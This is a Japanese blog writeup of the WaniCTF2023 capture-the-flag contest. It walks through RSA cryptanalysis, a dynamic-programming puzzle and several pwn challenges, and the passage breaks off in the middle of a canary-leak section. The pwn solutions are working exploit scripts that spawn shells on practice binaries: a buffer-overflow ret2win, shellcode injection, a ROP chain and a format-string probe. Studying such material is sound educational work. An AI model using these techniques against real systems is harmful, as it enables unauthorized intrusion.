More than 1 year has passed since last update.

WaniCTF2023 Writeup

Last updated at 2023-05-09Posted at 2023-05-09

概要

2023/5/4(木)から2023/5/6(土)の3日間で行われたWaniCTFのWriteupです。

WaniCTFは、大阪大学のチームWani Hackaseによって主催されているCTFです。

僕が所属するチームBegineer's Secは、6250ポイントを取り、14位になることができました。

この記事では

僕が開催中に解けた問題
開催中には解けなかったけど、他の方のWriteupを見て解いた(upsolveした)問題

について解説を行います。

Crypto

EZDORSA_Lv2

以下のファイルが与えられます。

chall.py

from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 7

m = b"FAKE{DUNMMY_FLAG}"

c = pow(bytes_to_long(m), e, n)
c *= pow(5, 100, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

out.txt

n = 25465155563758206895066841861765043433123515683929678836771513150236561026403556218533356199716126886534636140138011492220383199259698843686404371838391552265338889731646514381163372557117810929108511770402714925176885202763093259342499269455170147345039944516036024012941454077732406677284099700251496952610206410882558915139338028865987662513205888226312662854651278789627761068396974718364971326708407660719074895819282719926846208152543027213930660768288888225218585766787196064375064791353928495547610416240104448796600658154887110324794829898687050358437213471256328628898047810990674288648843902560125175884381
e = 7
c = 25698620825203955726406636922651025698352297732240406264195352419509234001004314759538513429877629840120788601561708588875481322614217122171252931383755532418804613411060596533561164202974971066750469395973334342059753025595923003869173026000225212644208274792300263293810627008900461621613776905408937385021630685411263655118479604274100095236252655616342234938221521847275384288728127863512191256713582669212904042760962348375314008470370142418921777238693948675063438713550567626953125

RSA暗号の問題です。通常eの値はe=65537としますが、今回の場合e=7と非常に小さい値ですね。

このように、eが非常に小さいとき、low-exponent attackが可能です。

RSA暗号において、暗号文cは、平文mと公開鍵e、nを用いて

c = m^e \mod n

で表されます。
eが小さい場合、単純にcのe乗根をとればmが求められる、というのがlow-exponent attackです。

gmpy2というライブラリのiroot関数を使えばe乗根が楽に計算できます。
なお、cに$5^{100}$が掛けられているので、逆元を掛けて打ち消してあげます。

solve.py

import gmpy2
from Crypto.Util.number import long_to_bytes
n = 25465155563758206895066841861765043433123515683929678836771513150236561026403556218533356199716126886534636140138011492220383199259698843686404371838391552265338889731646514381163372557117810929108511770402714925176885202763093259342499269455170147345039944516036024012941454077732406677284099700251496952610206410882558915139338028865987662513205888226312662854651278789627761068396974718364971326708407660719074895819282719926846208152543027213930660768288888225218585766787196064375064791353928495547610416240104448796600658154887110324794829898687050358437213471256328628898047810990674288648843902560125175884381
e = 7
c = 25698620825203955726406636922651025698352297732240406264195352419509234001004314759538513429877629840120788601561708588875481322614217122171252931383755532418804613411060596533561164202974971066750469395973334342059753025595923003869173026000225212644208274792300263293810627008900461621613776905408937385021630685411263655118479604274100095236252655616342234938221521847275384288728127863512191256713582669212904042760962348375314008470370142418921777238693948675063438713550567626953125

inv = pow(pow(5, 100, n), -1, n)
real_c = (c*inv)%n
m = gmpy2.iroot(real_c, e)[0]
print(long_to_bytes(m).decode())

FLAG{l0w_3xp0n3nt_4ttAck}

EZDORSA_Lv3

以下のファイルが配布されます。

chall.py

from Crypto.Util.number import *

e = 65537

n = 1
prime_list = []
while len(prime_list) < 100:
    p = getPrime(25)
    if not (p in prime_list):
        prime_list.append(p)

for i in prime_list:
    n *= i

m = b"FAKE{DUMMY_FLAG}"
c = pow(bytes_to_long(m), e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

out.txt

n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037
e = 65537
c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495

掛けられている素数が25bitと比較的小さいので、素因数分解が可能そうです。

factordbで検索したら、すでに素因数分解されていました。

複数の素数$p_1, p_2, \ldots, p_n$によるRSA暗号において、オイラーのトーシェント関数$\phi(n)$は

$\phi(n) = (p_1 - 1) \times (p_2 - 1) \times \ldots \times (p_n - 1)$

によって計算されることに注意して、以下のスクリプトで解けました。

solve.py

prime_list = [16969003, 17009203, 17027027, 17045117, 17137009, 17151529, 17495507, 17685739, 17933647, 18206689, 18230213, 18505933, 18613019, 18868781, 18901951, 18947729, 19022077, 19148609, 19574987, 19803209, 20590697, 20690983, 21425317, 21499631, 21580043, 21622099, 21707797, 21781139, 21792359, 21982481, 22101437, 22367311, 22374509, 22407799, 22491913, 22537409, 22542229, 22550677, 22733041, 23033441, 23049673, 23083759, 23179243, 23342663, 23563571, 23611043, 23869933, 24027973, 24089029, 24436597, 24454291, 24468209, 24848633, 25564219, 25888721, 26055889, 26119147, 26839909, 27152267, 27304777, 27316717, 27491137, 27647687, 27801167, 28082749, 28103563, 28151399, 28620611, 29035709, 29738689, 29891363, 29979379, 30007841, 30013391, 30049171, 30162343, 30419063, 30461393, 30625601, 31004861, 31108043, 31123457, 31269479, 31384663, 31387957, 31390189, 31469279, 32307589, 32432339, 32514061, 32628367, 32687509, 32703337, 32709977, 32715343, 32737429, 32831261, 33388603, 33418129, 33472771]
n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037
e = 65537
c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495

phi = 1
for prime in prime_list:
    phi *= (prime - 1)

d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m).decode())

FLAG{fact0r1z4t10n_c4n_b3_d0n3_3as1ly}

pqqp(upsolve)

156チームと、結構な数のチームが解いていたのですが、僕は実力不足で解けませんでした...

他の方のWriteupを参考にして、わかったことをまとめます。

chall.py

import os

from Crypto.Util.number import bytes_to_long, getPrime

flag = os.environb.get(b"FLAG", b"FAKE{THIS_IS_FAKE_FLAG}")

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
d = pow(e, -1, (p - 1) * (q - 1))

m = bytes_to_long(flag)
c = pow(m, e, n)
s = (pow(p, q, n) + pow(q, p, n)) % n

print(n)
print(e)
print(c)
print(s)

output.txt

31091873146151684702346697466440613735531637654275447575291598179592628060572504006592135492973043411815280891993199034777719870850799089897168085047048378272819058803065113379019008507510986769455940142811531136852870338791250795366205893855348781371512284111378891370478371411301254489215000780458922500687478483283322613251724695102723186321742517119591901360757969517310504966575430365399690954997486594218980759733095291730584373437650522970915694757258900454543353223174171853107240771137143529755378972874283257666907453865488035224546093536708315002894545985583989999371144395769770808331516837626499129978673
65537
8684906481438508573968896111659984335865272165432265041057101157430256966786557751789191602935468100847192376663008622284826181320172683198164506759845864516469802014329598451852239038384416618987741292207766327548154266633297700915040296215377667970132408099403332011754465837054374292852328207923589678536677872566937644721634580238023851454550310188983635594839900790613037364784226067124711011860626624755116537552485825032787844602819348195953433376940798931002512240466327027245293290482539610349984475078766298749218537656506613924572126356742596543967759702604297374075452829941316449560673537151923549844071
352657755607663100038622776859029499529417617019439696287530095700910959137402713559381875825340037254723667371717152486958935653311880986170756144651263966436545612682410692937049160751729509952242950101025748701560375826993882594934424780117827552101647884709187711590428804826054603956840883672204048820926

今回の問題では、通常のRSA暗号の公開鍵に加えて

s = p^q + q^p \mod n

が与えられることが特徴的です。

さて、それぞれmod p、mod qを考えて

s = q^p \mod p

s = p^q \mod q

が成り立つのは明らかです。

一般に以下の定理が成り立ちます。

素数$p$、整数$a$に対して
a^p = a \mod p

これを フェルマーの小定理 と言います。~~フェルマーの最終定理さえなければ、こいつが小定理なんて呼ばれることもなかったのに...~~

これを先ほどの式に適用して

s = q \mod p

s = p \mod q

となります。つまり邪魔な指数が消えました。

しかし、法(mod AのAの部分)が変わってしまいましたね。ここで次の事実を使います。

$n_1$と$n_2$が互いに素なとき、
x = a_1 \mod n_1
x = a_2 \mod n_2
を満たす$x$が、$0 \leq x \lt n_1 n_2$の範囲にただ一つ存在する。

参考: 高校数学の美しい物語

これを中国剰余定理(Chinese Remainder Theorem)と言います。

そして、

s = q \mod p

s = p \mod q

をともに満たす$s$は

$s = p + q \mod n$

であることが分かります。

一般に、和が積を超えることは少ないので、$\mod n$は取っ払ってしまってよいです。

よって、

p + q = s

pq = n

が成り立ちます。

あとは解と係数の関係から、二次方程式$x^2 -sx + n = 0$を解けばよいです。

もしくは、$\phi(n) = (p - 1) \times (q - 1) = pq - (p + q) + 1$より、$\phi(n)$を計算してもよいです。

solve.py

import gmpy2
from Crypto.Util.number import *

n=31091873146151684702346697466440613735531637654275447575291598179592628060572504006592135492973043411815280891993199034777719870850799089897168085047048378272819058803065113379019008507510986769455940142811531136852870338791250795366205893855348781371512284111378891370478371411301254489215000780458922500687478483283322613251724695102723186321742517119591901360757969517310504966575430365399690954997486594218980759733095291730584373437650522970915694757258900454543353223174171853107240771137143529755378972874283257666907453865488035224546093536708315002894545985583989999371144395769770808331516837626499129978673
e=65537
c=8684906481438508573968896111659984335865272165432265041057101157430256966786557751789191602935468100847192376663008622284826181320172683198164506759845864516469802014329598451852239038384416618987741292207766327548154266633297700915040296215377667970132408099403332011754465837054374292852328207923589678536677872566937644721634580238023851454550310188983635594839900790613037364784226067124711011860626624755116537552485825032787844602819348195953433376940798931002512240466327027245293290482539610349984475078766298749218537656506613924572126356742596543967759702604297374075452829941316449560673537151923549844071
s=352657755607663100038622776859029499529417617019439696287530095700910959137402713559381875825340037254723667371717152486958935653311880986170756144651263966436545612682410692937049160751729509952242950101025748701560375826993882594934424780117827552101647884709187711590428804826054603956840883672204048820926


#x^2 -sx + n = 0

p = (s + gmpy2.isqrt(s*s - 4 * n))//2
q = (s - gmpy2.isqrt(s*s - 4 * n))//2

assert p * q == n


phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(long_to_bytes(m).decode())

FLAG{p_q_p_q_521d0bd0c28300f}

Misc

range_xor

問題文を載せます。ただし、Markdownの都合によって、僕が少し修正を加えているところもあります。

整数列Aの任意の要素$a_i(0<=a_i<=1000,i=1,2...N)$に対して操作fを次のように定める

$f(a_i)=min(a_i, 1000-a_i)$

xor演算の記号を$\oplus$と定める。
操作fを好きな回数行った後の整数列$B={b_1,b_2...b_N}$に対して、

$X = b_1 \oplus b_2 \oplus \ldots \oplus b_N$

とするとき、Xを最小にするような整数列Bの種類数を
10^9+7で割った余りをFLAGとする。

Test Case

$N=3, A={10, 20, 55}$の時、
$X=41$が最小値となり、そのような$X$を作るBは
$B={10, 20, 55}$の1種類である。
よってFLAG{1}

$N=10, A={532, 746, 606, 601, 293, 825, 912, 826, 789, 190}$の時、
$X=32$が最小値となり、そのようなXを作るBは2種類である。
よってFLAG{2}

case(N=1000).txt

157 847 111 289 958 796 868 958 775 898 763 173 46 471 378 509 263 144 174 174 641 599 475 331 448 967 960 468 258 841 227 312 904 168 208 22 528 379 577 975 950 65 417 370 434 95 43 295 883 286 630 197 100 577 468 440 912 541 494 144 138 332 965 942 794 802 247 111 688 812 38 655 504 570 845 408 252 826 897 261 843 950 834 737 622 88 404 831 521 537 227 675 3 845 902 902 132 577 865 697 963 214 405 25 222 162 611 852 492 727 527 215 460 974 781 473 709 353 255 694 766 961 613 651 390 476 275 311 605 303 57 626 764 880 509 225 383 948 224 428 696 471 715 915 42 889 704 937 894 795 776 685 820 247 959 679 295 967 62 739 516 83 905 579 55 977 531 750 992 54 48 344 342 409 464 118 325 446 892 367 298 497 14 519 7 920 242 207 801 271 855 841 639 665 879 676 943 689 847 440 803 439 187 577 634 792 997 376 500 734 207 359 695 732 89 348 141 914 937 330 878 783 290 891 971 821 441 246 799 662 768 371 511 783 381 385 309 530 283 967 493 36 880 745 935 880 198 303 628 748 603 493 385 998 189 367 461 828 112 71 788 320 395 291 411 133 769 470 547 857 297 448 835 754 358 212 433 252 89 40 203 204 418 974 770 429 75 616 734 993 830 875 832 445 972 972 198 792 681 357 128 644 311 423 559 462 395 530 612 200 426 45 386 439 811 472 577 599 437 379 641 215 735 803 670 891 602 803 817 942 258 111 759 837 585 754 612 357 23 585 844 82 125 681 835 975 426 354 88 418 576 31 436 249 569 289 682 652 545 936 742 518 533 590 327 606 69 508 29 682 144 27 184 76 4 861 902 955 108 560 964 871 551 774 222 973 599 894 918 739 669 159 906 221 955 907 101 151 825 760 148 341 620 571 634 143 42 350 765 542 388 711 80 535 427 99 703 788 826 955 99 154 624 323 380 557 685 144 710 834 670 485 430 664 903 639 471 330 323 67 23 719 593 899 808 527 788 470 792 560 176 927 906 661 441 941 520 61 262 567 816 920 438 346 554 564 840 799 852 190 881 478 283 658 9 259 567 285 114 286 941 623 736 666 255 978 737 103 649 586 47 758 374 444 581 788 471 993 555 377 38 524 540 902 444 334 357 490 707 104 2 346 197 412 894 5 218 555 832 143 432 6 386 669 175 404 543 113 78 28 669 586 574 778 307 179 702 16 131 639 325 35 666 718 372 947 138 645 173 595 690 454 807 681 127 432 762 22 287 873 779 975 555 378 630 642 154 86 540 809 509 355 732 452 988 860 262 833 822 829 118 299 772 536 110 144 477 102 852 469 342 472 425 193 932 41 406 657 281 207 287 941 844 702 555 294 865 864 873 549 140 462 9 741 601 366 623 797 791 281 472 352 137 847 446 605 400 695 341 6 682 785 306 859 465 28 561 93 15 570 878 144 143 759 440 665 394 364 270 732 163 768 451 989 889 218 76 11 662 902 660 237 687 19 690 921 76 210 667 317 97 218 289 716 325 645 513 168 780 539 868 832 818 32 4 189 760 62 197 585 866 334 650 574 175 877 268 94 704 940 815 465 290 997 769 964 756 598 654 853 243 868 100 718 809 579 219 905 100 332 267 995 437 857 339 137 644 81 44 212 779 420 929 524 879 621 944 482 812 738 460 121 76 770 393 768 378 111 853 170 886 507 557 141 432 89 647 459 942 907 674 881 868 520 414 16 374 232 778 71 493 640 457 766 593 553 49 722 542 387 197 425 670 782 576 83 75 918 223 558 5 212 182 137 856 400 528 530 620 305 113 308 417 561 794 162 9 921 247 437 775 168 202 499 942 318 275 363 283 621 217 857 185 827 176 259 4 949 898 683 691 450 604 635 239 432 314 960 552 882 261 873 165 154 640 494 849 266 372 9 815 288 434 955 7 104 818 53 658 424 169 668 628 269 86 609 955 609 823 465 283 12 451 738 608 649 615 546 455 963 459 794 514 740 102 423 424 15 19 502 864 575 989 482 853 565 478 365 327 447 665 126 836 120 209 951 26 384 755 16 354 270 912 790 191 263 405 393 400 963 808 739 775 407 136 477 341 193 824 960 390 495 121 145 526 789 583 786 637 550 34 232 450 240 8 121 455 797 385 325 381 913 683 667 561 266 645 647 323 904 928 125 218 344 274 786 474 747 321 500 394 295 495 479 580 730 323 359 775 567 822 270 932 360 20 107 758 231 252 247 624 930 108 715 526 793 236 414 903 618

愚直に考えると、fを適用する、しないの組み合わせは最悪$2^{1000}$通りあり、計算が終わりません。

そこで、dp(動的計画法)を駆使してこの問題をときます。dpを知らない方は、他の方が書いた資料を参考にしてください。

dpテーブルを以下のように定義します。

dp[i][j] = i番目までxorしたとき、値がjになる場合の数

それぞれの要素に対して、fを適用する、しないの2種類が考えられるので、それに従ってdpを更新すればよいです。
$A[i] = f(A[i])$のときに注意して、以下のスクリプトを書くことで解けました。

solve.cpp

#include <iostream>
#include <vector>
using namespace std;

const int MOD = 1000000007;

int main() {
  int N;
  cin >> N;
  vector<int> A(N);
  for (int i = 0; i < N; i++) {
    cin >> A[i];
  }

  // dp[i][j] = i番目までxorしたとき、値がjになる場合の数
  vector<vector<int>> dp(N + 1, vector<int>(5000, 0));
  dp[0][0]=1;
  for(int i=0; i<N; i++) {
      for(int j=0; j<=5000; j++) {
          if (dp[i][j] == 0) continue;

          int new_value_1 = j ^ A[i];
          int new_value_2 = j ^ min(A[i], 1000-A[i]);

          if (new_value_1 == new_value_2) {
              dp[i+1][new_value_1] = (dp[i][j] + dp[i+1][new_value_1])%MOD;
          }

          else {
              dp[i+1][new_value_1] = (dp[i][j] + dp[i+1][new_value_1])%MOD;
              dp[i+1][new_value_2] = (dp[i][j] + dp[i+1][new_value_2])%MOD;
          }
      }
  }


  for(int j=0; j<=5000; j++) {
      if(dp[N][j] != 0) {
          cout << dp[N][j]%MOD << endl;
          cout << "min_value: " << j << endl;
          return 0;
      }
  }

  return 0;
}

FLAG{461905191}

プログラムを書いたのは僕ですが、dpの案はChatGPTが思いつきました。ChatGPTに頭が上がらない$\ldots$

Pwnable

01. netcat

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

int rand_gen() { return rand() % 1000; }

void win() { system("/bin/sh"); }

int main() {
  init();
  srand((unsigned int)time(NULL));

  int x = rand_gen(), y = rand_gen();
  int score = 0, chall = 100;
  char buf[8];

  while (1) {
    printf("\n+-----------------------------------------+\n");
    printf("| your score: %d, remaining %3d challenges |\n", score, chall);
    printf("+-----------------------------------------+\n\n");

    if (chall == 0) {
      printf("Bye!\n");
      break;
    }
    printf("%3d + %3d = ", x, y);
    scanf("%7s", buf);
    if (atoi(buf) == x + y) {
      printf("Cool!\n");
      score++;
    } else {
      printf("Oops...\n");
      score = 0;
    }
    if (score >= 3) {
      printf("Congrats!\n");
      win();
    }

    x = rand_gen();
    y = rand_gen();
    chall--;
  }
  return 0;
}

「100問計算問題があるよ」と言われますが、3問正解すればよいです。

僕は気づかずにスクリプトを書いてしまいました。

solve.py

import time
from pwn import *


#io = process("./pwn-netcat/chall")
io = remote("netcat-pwn.wanictf.org", 9001)


def solve_one(io):
    io.recvuntil(b"+\n\n")
    formula = io.recvuntil(b"=")[:-2]
    print(formula.decode())
    answer = eval(formula)
    io.sendline(str(answer).encode())


for i in range(3):
    log.info(f"{i} challenge".encode())
    solve_one(io)
    time.sleep(1)


io.interactive()

FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}

02. only once

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

int rand_gen() { return rand() % 1000; }

void win() { system("/bin/sh"); }

int main() {
  init();
  srand((unsigned int)time(NULL));

  int x = rand_gen(), y = rand_gen();
  int score = 0, chall = 1;
  char buf[8];

  while (1) {
    printf("\n+---------------------------------------+\n");
    printf("| your score: %d, remaining %d challenges |\n", score, chall);
    printf("+---------------------------------------+\n\n");

    if (chall == 0) {
      printf("Bye!\n");
      break;
    }
    printf("%3d + %3d = ", x, y);
    scanf("%8s", buf);
    if (atoi(buf) == x + y) {
      printf("Cool!\n");
      score++;
    } else {
      printf("Oops...\n");
      score = 0;
    }
    if (score >= 3) {
      printf("Congrats!\n");
      win();
    }

    x = rand_gen();
    y = rand_gen();
    chall--;
  }
  return 0;
}

3回計算問題に正解しなければならないのに、1問しか出題されませんね。

ここでbuf変数とscanf関数に着目しましょう。

buf変数は8バイトの領域を確保していて、scanf関数は8文字受け取っています。しかし、実はbuf変数に格納できる文字列は$8-1=7$文字のみです。

なぜなら、C言語では文字列の最後にnull文字をつけなければならないからです。

例えば次のような文字列を定義したとします。

char ojun[5] = "ojun";

しかし、実際は次のようになっています。

char ojun[5] = {'o', 'j', 'u', 'n', '\0'};

よって、文字列の中に文字がn文字あるときは、n+1バイトの領域を確保する必要があります。

しかし、今回はscanfで受け取る8文字に対して、8バイトの領域しか確保されていないので、8文字を入力すると1バイト分オーバーフローします。よって、chall変数がnull文字、つまり整数の0で書き換えられるわけです。

challが0になればループが終了しますが、ループの終わりでchallをデクリメントしているので、challが-1になってしいまい、ループが永久に終了しません。

よって、3問正解することができます。

solve.py

from pwn import *


#io = process("./pwn-only-once/chall")
io = remote("only-once-pwn.wanictf.org", 9002)


def solve_one(io):
    io.recvuntil(b"+\n\n")
    formula = io.recvuntil(b"=")[:-2]
    print(formula.decode())
    answer = eval(formula)
    io.sendline(str(answer).encode())


io.recvuntil(b"= ")
io.sendline(b"a"*8)


for _ in range(3):
    solve_one(io)


io.interactive()

FLAG{y0u_4r3_600d_47_c41cu14710n5!}

03. ret2win

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 48

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void win() {
  asm("xor %rax, %rax\n"
      "xor %rsi, %rsi\n"
      "xor %rdx, %rdx\n"
      "mov $0x3b, %al\n"
      "mov $0x68732f6e69622f, %rdi\n"
      "push %rdi\n"
      "mov %rsp, %rdi\n"
      "syscall");
}

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's overwrite the target address with that of the win function!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

checksec

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   chall

シンプルなバッファオーバーフローの問題です。

solve.py

from pwn import *


#io = process("./pwn-ret2win/chall")
io = remote("ret2win-pwn.wanictf.org", 9003)
elf = ELF("./pwn-ret2win/chall")


payload = b"A" * 40
payload += p64(elf.symbols["win"])


io.recvuntil(b"> ")
io.sendline(payload)
io.interactive()

FLAG{f1r57_5739_45_4_9wn3r}

04. shellcode_basic

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  char code[1024];
  printf("Enter shellcode: ");
  fgets(code, sizeof(code), stdin);
  void (*shellcode)() = (void (*)())code;
  shellcode();
  return 0;
}

shellcodeを入力したら実行してくれるプログラムです。

今回僕はpwntoolsを使って楽に解きました。
pwntoolsモジュールのcontextに、実行ファイルのアーキテクチャなどを伝えることを忘れずに。

solve.py

from pwn import *


context.binary = "./pwn-shell-basic/chall"
pc = process("./pwn-shell-basic/chall")
pc = remote("shell-basic-pwn.wanictf.org", 9004)
shell_code = asm(shellcraft.sh())
pc.sendline(shell_code)
pc.interactive()

05. beginners ROP

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 96

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void pop_rax_ret() { asm("pop %rax; ret"); }

void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }

void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }

void mov_rsp_rdi_pop_ret() {
  asm("mov %rsp, %rdi\n"
      "add $0x8, %rsp\n"
      "ret");
}

void syscall_ret() { asm("syscall; ret"); }

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's practice ROP attack!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

checksec

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   chall

特にバッファオーバーフロー対策もないのでROPすればよいです。便利なガジェットがすでに実装されているのが救いですね。

ガジェットを指定するとき、関数のアドレスを直接指定するのではなく、少し進んだところを指定することに注意してください。

pop_rax_ret関数を例にとります。gdbでdisassembleした結果を示します。

Dump of assembler code for function pop_rax_ret:
   0x0000000000401369 <+0>:     endbr64
   0x000000000040136d <+4>:     push   rbp
   0x000000000040136e <+5>:     mov    rbp,rsp
   0x0000000000401371 <+8>:     pop    rax
   0x0000000000401372 <+9>:     ret
   0x0000000000401373 <+10>:    nop
   0x0000000000401374 <+11>:    pop    rbp
   0x0000000000401375 <+12>:    ret
End of assembler dump.

最初の方にpush rbpやmov rbp, rspといった命令がありますが、その命令は飛ばすべきです。

rbpやrspはstackのはじめのアドレスと終わりのアドレスを格納していますが、そのアドレスがおかしくなってしまうからです。

以上を踏まえて解いたスクリプトを示します。

solve.py

from pwn import *


#io = process("./pwn-beginners-rop/chall")
io = remote("beginners-rop-pwn.wanictf.org", 9005)
elf = ELF("./pwn-beginners-rop/chall")
context.binary = "./pwn-beginners-rop/chall"


rop_ret = 0x40101a
rop_pop_rax = 0x0000000000401371
rop_xor_rsi = 0x000000000040137e
rop_xor_rdx = 0x000000000040138d
rop_mov_rsp_rdi_pop = 0x000000000040139c
rop_syscall = 0x00000000004013af


libc_system = 0x7ffff7dd4d60
rop = ROP(elf)
rop.raw("A"*40)
rop.raw(rop_xor_rsi)
rop.raw(rop_xor_rdx)
rop.raw(rop_pop_rax)
rop.raw(p64(59))
rop.raw(rop_mov_rsp_rdi_pop)
rop.raw("/bin/sh\x00")
rop.raw(rop_syscall)


print(rop.chain())

io.recvuntil(b"> ")
io.sendline(rop.chain())

io.interactive()

FLAG{h0p_p0p_r0p_po909090p93r!!!!}

06. Canaleak

chall.c

#include <stdio.h>
#include <stdlib.h>

void init() {
  // alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void win() { system("/bin/sh"); }

int main() {
  char nope[20];
  init();
  while (strcmp(nope, "YES")) {
    printf("You can't overwrite return address if canary is enabled.\nDo you "
           "agree with me? : ");
    scanf("%s", nope);
    printf(nope);
  }
}

checksec

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   chall

Canaryがonになっていますね。

Canaryとは、バッファとリターンアドレスの間にcanaryというローカル変数を確保し、その値の変更が検知されたらプログラムを強制終了するセキュリティ機構です。

逆に言えば、canaryの値を知ることができれば、その部分だけ値を変更しないようなペイロードを組むことができるわけです。

printf(nope);という行があり、フォーマット文字列を介さずにprintfしているので、Format String Bugが使えそうです。

gdbでデバッグしましょう。

disassembleした結果を抜粋して示します。

   0x00000000004012db <+135>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004012df <+139>:   xor    rdx,QWORD PTR fs:0x28
   0x00000000004012e8 <+148>:   je     0x4012ef <main+155>
   0x00000000004012ea <+150>:   call   0x4010b0 <__stack_chk_fail@plt>
   0x00000000004012ef <+155>:   leave
   0x00000000004012f0 <+156>:   ret

実はxor命令によって、cmpと同じようにフラグを立てることができます。このアセンブリを読むに、rbp-0x8が、ローカル変数にあるcanaryのアドレスです。

悪意のあるペイロードを送って挙動を確かめましょう。

You can't overwrite return address if canary is enabled.
Do you agree with me? : AAAA%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx

アウトプット

